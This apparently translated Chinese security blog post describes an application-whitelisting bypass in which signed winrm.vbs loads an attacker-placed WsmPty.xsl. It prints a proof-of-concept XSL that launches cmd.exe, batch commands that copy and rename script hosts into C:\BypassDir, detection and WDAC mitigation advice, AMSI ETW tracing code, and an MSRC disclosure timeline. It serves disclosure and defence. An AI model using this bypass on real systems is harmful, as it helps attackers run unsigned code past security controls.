由于winrm.vbs(System32中已签名的Windows脚本)能够使用和执行受攻击者控制的XSL脚本,并且XSL脚本不受“开明脚本宿主”限制,因此,导致攻击者可以执行任意的、未签名的代码。
当我们向winrm.vbs提供“-format:pretty”或“-format:text”选项时,它会从cscript.exe所在的目录中提取对应的WsmPty.xsl或WsmTxt.xsl文件。这就意味着,如果攻击者将cscript.exe复制到自己控制的恶意XSL所在的位置,就能实现执行任意未签名代码的目的。实际上,这种攻击方式与Casey Smith提出的wmic.exe技术基本上是一个路数。
概念证明
攻击过程如下所示:
- 将恶意WsmPty.xsl或WsmTxt.xsl投递到攻击者控制的位置。
- 将cscript.exe(或wscript.exe,需要用到后面介绍的技巧)复制到同一位置。
- 执行winrm.vbs,并通过“-format”开关指定“pretty”或“text”,具体取决于要投递的.XSL文件:WsmPty.xsl或WsmTxt.xsl。
下面是一个“恶意的”XSL示例,需要放到攻击者控制的目录中(对于本例而言,该目录为C:\BypassDir\WsmPty.xsl):
1 2 3 4 5 6 7 8 9 10 11 |
<span class="cp"><?xml version='1.0'?></span> <span class="nt"><stylesheet</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/1999/XSL/Transform"</span> <span class="na">xmlns:ms=</span><span class="s">"urn:schemas-microsoft-com:xslt"</span> <span class="na">xmlns:user=</span><span class="s">"placeholder"</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">></span> <span class="nt"><output</span> <span class="na">method=</span><span class="s">"text"</span><span class="nt">></output></span> <span class="nt"><ms:script</span> <span class="na">implements-prefix=</span><span class="s">"user"</span> <span class="na">language=</span><span class="s">"JScript"</span><span class="nt">></span> <span class="cp"><![CDATA[</span> <span class="cp"> var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");</span> <span class="cp"> ]]></span> <span class="nt"></ms:script></span> <span class="nt"></stylesheet></span> |
为了将WsmPty.xsl武器化,需要用到一个嵌入式的DotNetToJScript有效载荷,用于执行任意的未签名代码。
在投递WsmPty.xsl后,可以使用下面的批处理文件来启动该有效载荷:
1 2 3 |
mkdir %SystemDrive%<span class="se">\B</span>ypassDir copy %windir%<span class="se">\S</span>ystem32<span class="se">\c</span>script.exe %SystemDrive%<span class="se">\B</span>ypassDir %SystemDrive%<span class="se">\B</span>ypassDir<span class="se">\c</span>script //nologo %windir%<span class="se">\S</span>ystem32<span class="se">\w</span>inrm.vbs get wmicimv2/Win32_Process?Handle<span class="o">=</span><span class="m">4</span> -format:pretty |
我是如何发现该绕过技术的
这个安全问题的发现,基本上是一个巧合。在使用基于XSL的wmic.exe绕过技术后不久,我碰巧审计了一些系统内置的VBS和JScript文件(即WSH脚本),为的是找到更多的旁路方法。之所以审计这些文件类型,主要是受到了Matt Nelson的启发——他的purprn.vbs注入技术引起了我的浓厚兴趣。在阅读winrm.vbs的源代码时,字符串“WsmPty.xsl”和“WsmTxt.xsl”立即映入我的眼帘,正如Casey在他的文章中所展示的那样,使用XSL的应用程序很有可能允许任意代码执行,方法是将WSH脚本内容嵌入到XSL文件中。不出所料,winrm.vbs也不例外。
老实说,在“猎捕”可用于执行任意未签名代码的已签名脚本和二进制文件方面,我确实有着特殊的嗜好,这是因为它们不仅可以绕过应用程序白名单,而且也不太可能被安全产品检测到(至少,在它们被公之于众之前是这样的)。所以,我总是乐此不疲的到处“围猎”!
检测方法和规避策略
为了构建针对该技术的鲁棒检测方法,重点在于识别执行该技术所需的最小组件集。
- 攻击者控制的WsmPty.xsl或WsmTxt.xsl,这是必须投放的。
对于WsmPty.xsl和WsmTxt.xsl来说,都是硬编码在winrm.vbs中的,并明确地为其指定了“pretty”和“text”选项。同时,似乎没有办法可以让winrm.vbs使用来自使用XSL有效载荷的可执行文件(即大多数情况下为cscript.exe)的当前工作目录以外的目录中的XSL文件。因此,从检测角度来看,如果某些WsmPty.xsl或WsmTxt.xsl文件的哈希值不同于System32中这些文件的哈希值,那么这些文件就相当可疑。幸运的是,合法的XSL文件的哈希值很少。
此外,合法的WsmPty.xsl和WsmTxt.xsl文件采用的是目录签名。所以,只要它们的哈希值出现任何变化,就无法对其进行签名。换句话说,磁盘上未签名的任何WsmPty.xsl或WsmTxt.xsl都应该引起我们的怀疑。请注意,使用目录签名验证(catalog signature validation)时,要求运行“cryptsvc”服务。
- 必须执行签名的winrm.vbs。如果攻击者需要编辑winrm.vbs的内容的话,那么这个绕过方法明显不适用。
基于命令行中winrm.vbs的存在性的检测方法并不理想,因为攻击者可以将winrm.vbs重命名为自己选择的名称。
- 必须将“format”参数的值指定为“pretty”或“text”,才能使用相应XSL文件。
对于“format”参数来说,以下取值都是允许的;注意,这里不区分大小写:
1 2 3 4 5 6 7 8 |
-format:pretty -format:<span class="s2">"pretty"</span> /format:pretty /format:<span class="s2">"pretty"</span> -format:text -format:<span class="s2">"text"</span> /format:text /format:<span class="s2">"text"</span> |
如果单纯通过“format”的存在来构建检测方法的话,则需要捕获该参数值的所有变体,并且检测结果容易出现假阳性。“format”参数的使用,在多大程度是合法的,要视具体的组织而定。然而,除非从cscript.exe调用System32中的winrm.vbs,否则,就非常可疑。
- 脚本winrm.vbs应该从cscript.exe中执行。该脚本中有验证这一点的逻辑。
winrm.vbs脚本会通过检查WScript.FullName(宿主二进制文件的完整路径)是否包含“cscript.exe”来判断自己是否是从cscript.exe中执行的。这个检测方法不够严谨,因为它只检查“cscript.exe”是否位于完整路径中。这对攻击者来说,就意味着如果利用重命名的cscript.exe或者使用另一个脚本宿主二进制文件(如wscript.exe)来启动winrm.vbs的话,就可以顺利绕过该检测。例如,下面的.bat代码就能够顺利绕过“cscript.exe”检查。
1 2 3 |
mkdir %SystemDrive%<span class="se">\B</span>ypassDir<span class="se">\c</span>script.exe copy %windir%<span class="se">\S</span>ystem32<span class="se">\w</span>script.exe %SystemDrive%<span class="se">\B</span>ypassDir<span class="se">\c</span>script.exe<span class="se">\w</span>inword.exe %SystemDrive%<span class="se">\B</span>ypassDir<span class="se">\c</span>script.exe<span class="se">\w</span>inword.exe //nologo %windir%<span class="se">\S</span>ystem32<span class="se">\w</span>inrm.vbs get wmicimv2/Win32_Process?Handle<span class="o">=</span><span class="m">4</span> -format:pretty |
关于检测方法的鲁棒性
- PoC示例中之所以选择get wmicimv2 / Win32_Process?Handle = 4参数,是因为返回某些东西的命令行参数对演示非常有用,但是这里假设WinRM服务已启用。请注意,对于该绕过技术来说,即使不启用WinRM服务,它照样能够正常工作。此外,还有许多其他选项也支持”format”参数,不过,这些选项没有表现出任何形式的恶意意图。
- 健壮的检测方法不应该通过在命令行中查找cscript.exe或wscript.exe来实现。虽然当攻击者没有采取伪装措施时,这种方法简单有效,但攻击者只需复制并重命名WSH宿主可执行文件,就能轻松绕过该检测方法。更加强大的进程执行检测需要使用“Original filename”以及对应二进制文件的签名。对文件签名时,“Original filename”(是嵌入在资源部分内的“version info”的一个组件)也是哈希计算的一部分。如果攻击者试图修改WSH宿主可执行文件中嵌入的任何资源的话,那么签名就会失效。
缓解与预防策略
通过Windows Defender应用程序控制(WDAC)强制实施用户模式代码完整性(UMCI)检测,可以防御该绕过技术。由于没有其他强大的方法可以阻止易受攻击的已签名脚本,因此需要使用哈希值来阻止该脚本易受攻击的各个版本。然而,识别脚本的所有易受攻击的版本是非常困难的,因为防御者不可能在所有可能的Windows版本中捕获所有易受攻击的winrm.vbs版本的所有哈希值。这篇文章详细介绍了脚本黑名单方法的无效性。
至于缓解方法,就是让Microsoft修复该脚本中的问题,并公布新的目录签名(catalog signature)。这样做会将脚本的先前易受攻击的版本变为未签名的。因此,如果使用WDAC强制实施脚本签名检查,则以前易受攻击的winrm.vbs版本将无法执行。但是,这个方案仅能阻止非管理员执行易受攻击的winrm.vbs版本的情形。但是,如果攻击者以管理员身份运行代码的攻击者,仍然可以安装以前的目录签名,这样就又能够执行易受攻击的winrm.vbs版本了。
上述两种预防/缓解方案都依赖于WDAC的实施。考虑到绝大多数公司都没有启用WDAC,即使使用修复后的winrm.vbs,也没有什么能阻止攻击者将易受攻击的winrm.vbs版本放到磁盘上并执行它。最后,即使修复了winrm.vbs,也找不到可的预防方法。
WSH/XSL脚本的分析诊断
对于XSL和WSH脚本来说,这既不是第一次,也肯定不会是最后一次被攻击者滥用。理想情况下,攻击者应该能够清楚有效载荷的执行情况,无论它们是从磁盘执行的,还是完全在内存中执行的。这方面,PowerShell提供了现成的手段,即scriptblock日志记录功能。但是,对于WSH内容来说,还没有这样的等价功能。不过,如果您熟悉ETW的话,通过引入反恶意软件扫描接口(AMSI),就可以捕获WSH相关内容。
AMSI的分析诊断数据是通过Microsoft-Antimalware-Scan-Interface ETW提供程序交付的。如果您要尝试捕获AMSI事件的话,最好的程序库之一就是KrabsETW。不过,如果只是进行简单的实验的话,完全可以使用logman.exe来捕获ETL跟踪信息。例如,以下命令可以用来启动和停止ETW跟踪,并将AMSI相关事件保存到AMSITrace.etl:
1 2 3 |
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets <After starting the trace, this is when you<span class="err">'</span>d run your malicious code to capture its context.> logman stop AMSITrace -ets |
虽然ETW的运行机制超出了本文的介绍范围,但读者可能对我是如何了解Microsoft-Antimalware-Scan-Interface ETW提供程序以及“Event1”关键字的来源的非常好奇,所以下面我就简单说一下。
我是通过logman query providers命令查询已注册的提供程序,进而掌握ETW提供程序的名称的。而“Event1”则对应于捕获AMSI上下文的关键字。为了找到该关键字,我使用perfview.exe将ETW清单转储为XML。通过该清单,我们还能弄清楚可以通过提供程序收集哪些事件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
<span class="p"><</span><span class="nt">instrumentationManifest</span> <span class="na">xmlns</span><span class="o">=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events"</span><span class="p">></span> <span class="p"><</span><span class="nt">instrumentation</span> <span class="na">xmlns:xs</span><span class="o">=</span><span class="s">"http://www.w3.org/2001/XMLSchema"</span> <span class="na">xmlns:xsi</span><span class="o">=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="na">xmlns:win</span><span class="o">=</span><span class="s">"http://manifests.microsoft.com/win/2004/08/windows/events"</span><span class="p">></span> <span class="p"><</span><span class="nt">events</span><span class="p">></span> <span class="p"><</span><span class="nt">provider</span> <span class="na">name</span><span class="o">=</span><span class="s">"Microsoft-Antimalware-Scan-Interface"</span> <span class="na">guid</span><span class="o">=</span><span class="s">"{2a576b87-09a7-520e-c21a-4942f0271d67}"</span> <span class="na">resourceFileName</span><span class="o">=</span><span class="s">"Microsoft-Antimalware-Scan-Interface"</span> <span class="na">messageFileName</span><span class="o">=</span><span class="s">"Microsoft-Antimalware-Scan-Interface"</span> <span class="na">symbol</span><span class="o">=</span><span class="s">"MicrosoftAntimalwareScanInterface"</span> <span class="na">source</span><span class="o">=</span><span class="s">"Xml"</span> <span class="p">></span> <span class="p"><</span><span class="nt">keywords</span><span class="p">></span> <span class="p"><</span><span class="nt">keyword</span> <span class="na">name</span><span class="o">=</span><span class="s">"Event1"</span> <span class="na">message</span><span class="o">=</span><span class="s">"$(string.keyword_Event1)"</span> <span class="na">mask</span><span class="o">=</span><span class="s">"0x1"</span><span class="p">></</span><span class="nt">keyword</span><span class="p">></span> <span class="p"></</span><span class="nt">keywords</span><span class="p">></span> <span class="p"><</span><span class="nt">tasks</span><span class="p">></span> <span class="p"><</span><span class="nt">task</span> <span class="na">name</span><span class="o">=</span><span class="s">"task_0"</span> <span class="na">message</span><span class="o">=</span><span class="s">"$(string.task_task_0)"</span> <span class="na">value</span><span class="o">=</span><span class="s">"0"</span><span class="p">></</span><span class="nt">task</span><span class="p">></span> <span class="p"></</span><span class="nt">tasks</span><span class="p">></span> <span class="p"><</span><span class="nt">events</span><span class="p">></span> <span class="p"><</span><span class="nt">event</span> <span class="na">value</span><span class="o">=</span><span class="s">"1101"</span> <span class="na">symbol</span><span class="o">=</span><span class="s">"task_0"</span> <span class="na">version</span><span class="o">=</span><span class="s">"0"</span> <span class="na">task</span><span class="o">=</span><span class="s">"task_0"</span> <span class="na">level</span><span class="o">=</span><span class="s">"win:Informational"</span> <span class="na">keywords</span><span class="o">=</span><span class="s">"Event1"</span> <span class="na">template</span><span class="o">=</span><span class="s">"task_0Args"</span><span class="p">></</span><span class="nt">event</span><span class="p">></span> <span class="p"></</span><span class="nt">events</span><span class="p">></span> <span class="p"><</span><span class="nt">templates</span><span class="p">></span> <span class="p"><</span><span class="nt">template</span> <span class="na">tid</span><span class="o">=</span><span class="s">"task_0Args"</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"session"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:Pointer"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"scanStatus"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:UInt8"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"scanResult"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:UInt32"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"appname"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:UnicodeString"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"contentname"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:UnicodeString"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"contentsize"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:UInt32"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"originalsize"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:UInt32"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"content"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:Binary"</span> <span class="na">length</span><span class="o">=</span><span class="s">"contentsize"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"hash"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:Binary"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"><</span><span class="nt">data</span> <span class="na">name</span><span class="o">=</span><span class="s">"contentFiltered"</span> <span class="na">inType</span><span class="o">=</span><span class="s">"win:Boolean"</span><span class="p">></</span><span class="nt">data</span><span class="p">></span> <span class="p"></</span><span class="nt">template</span><span class="p">></span> <span class="p"></</span><span class="nt">templates</span><span class="p">></span> <span class="p"></</span><span class="nt">provider</span><span class="p">></span> <span class="p"></</span><span class="nt">events</span><span class="p">></span> <span class="p"></</span><span class="nt">instrumentation</span><span class="p">></span> <span class="p"><</span><span class="nt">localization</span><span class="p">></span> <span class="p"><</span><span class="nt">resources</span> <span class="na">culture</span><span class="o">=</span><span class="s">"en-US"</span><span class="p">></span> <span class="p"><</span><span class="nt">stringTable</span><span class="p">></span> <span class="p"><</span><span class="nt">string</span> <span class="na">id</span><span class="o">=</span><span class="s">"keyword_Event1"</span> <span class="na">value</span><span class="o">=</span><span class="s">"Event1"</span><span class="p">></</span><span class="nt">string</span><span class="p">></span> <span class="p"><</span><span class="nt">string</span> <span class="na">id</span><span class="o">=</span><span class="s">"task_task_0"</span> <span class="na">value</span><span class="o">=</span><span class="s">"task_0"</span><span class="p">></</span><span class="nt">string</span><span class="p">></span> <span class="p"></</span><span class="nt">stringTable</span><span class="p">></span> <span class="p"></</span><span class="nt">resources</span><span class="p">></span> <span class="p"></</span><span class="nt">localization</span><span class="p">></span> <span class="p"></</span><span class="nt">instrumentationManifest</span><span class="p">></span> |
捕获.ETL跟踪后,我们可以使用自己喜欢的工具进行分析。实际上,PowerShell中的Get-WinEvent就是一个很棒的内置.ETL解析器。此外,我还编写了一个简短的脚本来演示如何解析AMSI事件。请注意,由于WSH无法提供“contentname”属性,所以,我们需要手动解析事件数据。另外,该脚本还能够捕获PowerShell内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
<span class="c1"># Script author: Matt Graeber (@mattifestation)</span> <span class="c1"># logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets</span> <span class="c1"># Do your malicious things here that would be logged by AMSI</span> <span class="c1"># logman stop AMSITrace -ets</span> <span class="nv">$OSArchProperty</span> <span class="o">=</span> Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture <span class="nv">$OSArch</span> <span class="o">=</span> <span class="nv">$OSArchProperty</span>.OSArchitecture <span class="nv">$OSPointerSize</span> <span class="o">=</span> <span class="m">32</span> <span class="k">if</span> <span class="o">(</span><span class="nv">$OSArch</span> -eq <span class="s1">'64-bit'</span><span class="o">)</span> <span class="o">{</span> <span class="nv">$OSPointerSize</span> <span class="o">=</span> <span class="m">64</span> <span class="o">}</span> <span class="nv">$AMSIScanEvents</span> <span class="o">=</span> Get-WinEvent -Path .<span class="se">\A</span>MSITrace.etl -Oldest -FilterXPath <span class="s1">'*[System[EventID=1101]]'</span> <span class="p">|</span> ForEach-Object <span class="o">{</span> <span class="k">if</span> <span class="o">(</span>-not <span class="nv">$_</span>.Properties<span class="o">)</span> <span class="o">{</span> <span class="c1"># The AMSI provider is not supplying the contentname property when WSH content is logged resulting</span> <span class="c1"># in Get-WinEvent or Event Viewer being unable to parse the data based on the schema.</span> <span class="c1"># If this bug were not present, retrieving WSH content would be trivial.</span> <span class="nv">$PayloadString</span> <span class="o">=</span> <span class="o">([</span>Xml<span class="o">]</span> <span class="nv">$_</span>.ToXml<span class="o">())</span>.Event.ProcessingErrorData.EventPayload <span class="o">[</span>Byte<span class="o">[]]</span> <span class="nv">$PayloadBytes</span> <span class="o">=</span> <span class="o">(</span><span class="nv">$PayloadString</span> -split <span class="s1">'([0-9A-F]{2})'</span> <span class="p">|</span> Where-Object <span class="o">{</span><span class="nv">$_</span><span class="o">}</span> <span class="p">|</span> ForEach-Object <span class="o">{[</span>Byte<span class="o">]</span> <span class="s2">"0x</span><span class="nv">$_</span><span class="s2">"</span><span class="o">})</span> <span class="nv">$MemoryStream</span> <span class="o">=</span> New-Object -TypeName IO.MemoryStream -ArgumentList @<span class="o">(</span>,<span class="nv">$PayloadBytes</span><span class="o">)</span> <span class="nv">$BinaryReader</span> <span class="o">=</span> New-Object -TypeName IO.BinaryReader -ArgumentList <span class="nv">$MemoryStream</span>, <span class="o">([</span>Text.Encoding<span class="o">]</span>::Unicode<span class="o">)</span> switch <span class="o">(</span><span class="nv">$OSPointerSize</span><span class="o">)</span> <span class="o">{</span> <span class="m">32</span> <span class="o">{</span> <span class="nv">$Session</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadUInt32<span class="o">()</span> <span class="o">}</span> <span class="m">64</span> <span class="o">{</span> <span class="nv">$Session</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadUInt64<span class="o">()</span> <span class="o">}</span> <span class="o">}</span> <span class="nv">$ScanStatus</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadByte<span class="o">()</span> <span class="nv">$ScanResult</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadInt32<span class="o">()</span> <span class="nv">$StringBuilder</span> <span class="o">=</span> New-Object -TypeName Text.StringBuilder <span class="k">do</span> <span class="o">{</span> <span class="nv">$CharVal</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadInt16<span class="o">()</span><span class="p">;</span> <span class="nv">$null</span> <span class="o">=</span> <span class="nv">$StringBuilder</span>.Append<span class="o">([</span>Char<span class="o">]</span> <span class="nv">$CharVal</span><span class="o">)</span> <span class="o">}</span> <span class="k">while</span> <span class="o">(</span><span class="nv">$CharVal</span> -ne <span class="m">0</span><span class="o">)</span> <span class="nv">$AppName</span> <span class="o">=</span> <span class="nv">$StringBuilder</span>.ToString<span class="o">()</span> <span class="nv">$null</span> <span class="o">=</span> <span class="nv">$StringBuilder</span>.Clear<span class="o">()</span> <span class="nv">$ContentSize</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadInt32<span class="o">()</span> <span class="nv">$OriginalSize</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadInt32<span class="o">()</span> <span class="nv">$ContentRaw</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadBytes<span class="o">(</span><span class="nv">$ContentSize</span><span class="o">)</span> <span class="nv">$Content</span> <span class="o">=</span> <span class="o">[</span>Text.Encoding<span class="o">]</span>::Unicode.GetString<span class="o">(</span><span class="nv">$ContentRaw</span><span class="o">)</span> <span class="nv">$Hash</span> <span class="o">=</span> <span class="o">[</span>BitConverter<span class="o">]</span>::ToString<span class="o">(</span><span class="nv">$BinaryReader</span>.ReadBytes<span class="o">(</span>0x20<span class="o">))</span>.Replace<span class="o">(</span><span class="s1">'-'</span>, <span class="s1">''</span><span class="o">)</span> <span class="o">[</span>Bool<span class="o">]</span> <span class="nv">$ContentFiltered</span> <span class="o">=</span> <span class="nv">$BinaryReader</span>.ReadInt32<span class="o">()</span> <span class="nv">$BinaryReader</span>.Close<span class="o">()</span> <span class="o">[</span>PSCustomObject<span class="o">]</span> @<span class="o">{</span> <span class="nv">Session</span> <span class="o">=</span> <span class="nv">$Session</span> <span class="nv">ScanStatus</span> <span class="o">=</span> <span class="nv">$ScanStatus</span> <span class="nv">ScanResult</span> <span class="o">=</span> <span class="nv">$ScanResult</span> <span class="nv">AppName</span> <span class="o">=</span> <span class="nv">$AppName</span> <span class="nv">ContentName</span> <span class="o">=</span> <span class="nv">$null</span> <span class="nv">Content</span> <span class="o">=</span> <span class="nv">$Content</span> <span class="nv">Hash</span> <span class="o">=</span> <span class="nv">$Hash</span> <span class="nv">ContentFiltered</span> <span class="o">=</span> <span class="nv">$ContentFiltered</span> <span class="o">}</span> <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> <span class="nv">$Session</span> <span class="o">=</span> <span class="nv">$_</span>.Properties<span class="o">[</span><span class="m">0</span><span class="o">]</span>.Value <span class="nv">$ScanStatus</span> <span class="o">=</span> <span class="nv">$_</span>.Properties<span class="o">[</span><span class="m">1</span><span class="o">]</span>.Value <span class="nv">$ScanResult</span> <span class="o">=</span> <span class="nv">$_</span>.Properties<span class="o">[</span><span class="m">2</span><span class="o">]</span>.Value <span class="nv">$AppName</span> <span class="o">=</span> <span class="nv">$_</span>.Properties<span class="o">[</span><span class="m">3</span><span class="o">]</span>.Value <span class="nv">$ContentName</span> <span class="o">=</span> <span class="nv">$_</span>.Properties<span class="o">[</span><span class="m">4</span><span class="o">]</span>.Value <span class="nv">$Content</span> <span class="o">=</span> <span class="o">[</span>Text.Encoding<span class="o">]</span>::Unicode.GetString<span class="o">(</span><span class="nv">$_</span>.Properties<span class="o">[</span><span class="m">7</span><span class="o">]</span>.Value<span class="o">)</span> <span class="nv">$Hash</span> <span class="o">=</span> <span class="o">[</span>BitConverter<span class="o">]</span>::ToString<span class="o">(</span><span class="nv">$_</span>.Properties<span class="o">[</span><span class="m">8</span><span class="o">]</span>.Value<span class="o">)</span>.Replace<span class="o">(</span><span class="s1">'-'</span>, <span class="s1">''</span><span class="o">)</span> <span class="nv">$ContentFiltered</span> <span class="o">=</span> <span class="nv">$_</span>.Properties<span class="o">[</span><span class="m">9</span><span class="o">]</span>.Value <span class="o">[</span>PSCustomObject<span class="o">]</span> @<span class="o">{</span> <span class="nv">Session</span> <span class="o">=</span> <span class="nv">$Session</span> <span class="nv">ScanStatus</span> <span class="o">=</span> <span class="nv">$ScanStatus</span> <span class="nv">ScanResult</span> <span class="o">=</span> <span class="nv">$ScanResult</span> <span class="nv">AppName</span> <span class="o">=</span> <span class="nv">$AppName</span> <span class="nv">ContentName</span> <span class="o">=</span> <span class="nv">$ContentName</span> <span class="nv">Content</span> <span class="o">=</span> <span class="nv">$Content</span> <span class="nv">Hash</span> <span class="o">=</span> <span class="nv">$Hash</span> <span class="nv">ContentFiltered</span> <span class="o">=</span> <span class="nv">$ContentFiltered</span> <span class="o">}</span> <span class="o">}</span> <span class="o">}</span> <span class="nv">$AMSIScanEvents</span> |
捕获跟踪记录后,我们还能看到执行的有效载荷的内容。
该示例表明AMSI ETW提供程序从前面引用的PoC XSL有效载荷捕获攻击上下文
基于ETW的分析诊断和检测方法,已经超出了这篇文章的范围,所以不做深入介绍;但希望这个例子可以激发读者进一步研究它们的兴趣。
漏洞披露时间表
我们不仅致力于提高新型攻击技术的透明度,同时,我们也深知,这些技术一旦公开,就会被攻击者迅速采用。因此,在公布新的攻击性技术之前,我们会定期向相关的供应商通报问题,并提供充足的时间来缓解问题;同时,还会通知特定的可信赖供应商,以确保能够尽快向客户交付检测结果。
由于该技术会影响Windows Defender应用程序控制(通过MSRC提供可维护的安全功能),因此,我们也向Microsoft报告了此问题。该漏洞的披露时间表如下:
- 2018年4月24日 – 向MSRC发送报告
- 2018年4月24日 – 报告得到确认,并分配了一个案例编号
- 2018年4月30日 – 收到电子邮件,指出该问题能够复现
- 2018年5月24日 – 向MSRC发送电子邮件,请求进行更新
- 2018年5月28日 – 回复表明评估仍在进行中
- 2018年6月10日 – 向MSRC发送电子邮件,请求进行更新
- 2018年6月11日 – MSRC的回应称,产品团队计划在8月份完成漏洞修复
- 2018年7月12日 – MSRC的回应称,无法通过安全更新解决该问题,但是可能在v.Next中得到解决
转载请注明: 转载自Legend‘s BLog
本文链接地址: 利用winrm.vbs绕过应用程序白名单执行任意代码
未经允许不得转载:Legend‘s BLog » 利用winrm.vbs绕过应用程序白名单执行任意代码
发表评论